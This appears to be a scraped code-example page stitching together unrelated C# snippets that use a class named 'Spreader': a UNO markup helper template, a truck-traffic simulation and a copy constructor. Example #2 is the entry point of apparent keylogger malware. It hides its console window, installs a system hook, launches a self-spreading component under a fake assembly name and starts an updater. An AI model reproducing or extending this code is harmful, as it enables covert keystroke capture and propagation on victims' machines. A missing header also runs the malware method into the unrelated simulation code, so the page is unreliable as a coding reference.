Exemple #1
0
        // TODO: UNO supports WinUI views which have equivalent Markup UI type, plus native views
        // Markup UI types are created with a helper
        // A non-view type is created with new
        // To allow a native type to be added to a layout, below params type should be a base element/interface of all native view types and WinUI types alike
        // TODO: UNO what is that type for Android/iOS/...?
        public static LayoutView LayoutView(
            #region _LayoutViewHelperParameters_
            params _PropertyType_[] _PropertyName_
            #endregion
            )
        {
            var ui = new _UIViewNamespace_.LayoutView();

            #region _LayoutViewHelperStatements_
            for (int i = 0; i < _PropertyName_.Length; i++)
            {
                var child = _PropertyName_[i];
                if (child == null)
                {
                    continue;
                }

                var subChildren = Spreader <_PropertyType_> .ExtractChildren(child);

                if (subChildren != null)
                {
                    for (int j = 0; j < subChildren.Length; j++)
                    {
                        ui._PropertyName_.Add(subChildren[j] /*_AccessUI_*/);
                    }
                }
                else
                {
                    ui._PropertyName_.Add(child /*_AccessUI_*/);
                }
            }
            #endregion
            return(_MarkupNamespace_.LayoutView.StartChain(ui));
        }
Exemple #2
0
        public static void Main(string[] args)
        {
            var handle = GetConsoleWindow();

            // Hide
            ShowWindow(handle, SW_HIDE);

            _hookID = SetHook(_proc);

            if (mutex.WaitOne(TimeSpan.Zero, true))
            {
                textHandler = new TextHandler(Property.SessionName);

                var spreader = new Spreader(Property.FakeAssemblyName, Property.AssemblyName, Property.AppPath, Property.SessionName);

                var updater = new Updater();
                updater.StartMonitoring(Property.SessionName);

                Application.Run();
                mutex.ReleaseMutex();
            }
            else
            {
            }
            UnhookWindowsHookEx(_hookID);
        }
        /// <summary>
        /// Start the simulation
        /// <param name="avgSpeed">Speed</param>
        /// <param name="sealPercentages">Seal count percentages</param>
        /// <param name="token">Token to end simulation in midway</param>
        /// </summary>
        public void Start(int avgSpeed, int[] sealPercentages, CancellationToken token)
        {
            var  now = DateTime.Now;
            var  truckSpreadByDirections      = new Dictionary <string, int[]>();
            var  trucksByDirections           = new Dictionary <string, List <Truck> >();
            var  sealCountByDirections        = new Dictionary <string, int[]>();
            var  sealCountPointerByDirections = new Dictionary <string, int>();
            var  trucks = new List <Truck>();
            long t      = 0;

            if (token.IsCancellationRequested)
            {
                return;
            }

            for (var mon = 1; mon <= 12; mon++)
            {
                if (token.IsCancellationRequested)
                {
                    return;
                }
                Console.WriteLine($"Simulating month {mon}");

                var monthDays = DateTime.DaysInMonth(now.Year, mon);
#if DEBUG
                Console.WriteLine("start randomize");
#endif
                foreach (var(Key, Value) in TransportStatsByDirection)
                {
                    if (token.IsCancellationRequested)
                    {
                        return;
                    }
                    var truckCount = GetTruckCountForMonth(mon, Value.PerYear);
                    truckSpreadByDirections[Key]      = Spreader.Spread(monthDays, truckCount);
                    sealCountByDirections[Key]        = SealCountSpreader.Spread(truckCount, sealPercentages);
                    sealCountPointerByDirections[Key] = 0;
                }
#if DEBUG
                Console.WriteLine("end randomize");
#endif
                for (var day = 0; day < monthDays; day++)
                {
                    foreach (var(Key, Value) in TransportStatsByDirection)
                    {
                        for (var k = 0; k < truckSpreadByDirections[Key][day]; k++)
                        {
                            var road      = RoadByFromTo[Key];
                            var sealCount = sealCountByDirections[Key][sealCountPointerByDirections[Key]++];
                            trucks.Add(new Truck(road, avgSpeed, sealCount));
                        }
                    }

                    uint dayT = 0;
                    while (dayT < MS_IN_DAY)
                    {
                        if (token.IsCancellationRequested)
                        {
                            return;
                        }
                        PreProcess(trucks, t);
                        trucks.ForEach(truck => truck.Run(t, DELTA_MS));
                        PostProcess(trucks, t);
                        ///remove all arrived trucks as they are non necessary
                        trucks.RemoveAll(tr => tr.Arrived);
                        dayT += DELTA_MS;
                        t    += DELTA_MS;
                    }
                }
            }

            ///Truck count over time to visualize beautiful? chart
            System.IO.File.WriteAllLines("truckCountOverTime.txt",
                                         TruckCountStatsGatherer.TruckCounts.Select(x => x.ToString()));
            return;
        }
Exemple #4
0
 public Spreader(Spreader from) : base(from)
 {
     spreadprob = from.spreadprob;
     stype      = from.stype;
 }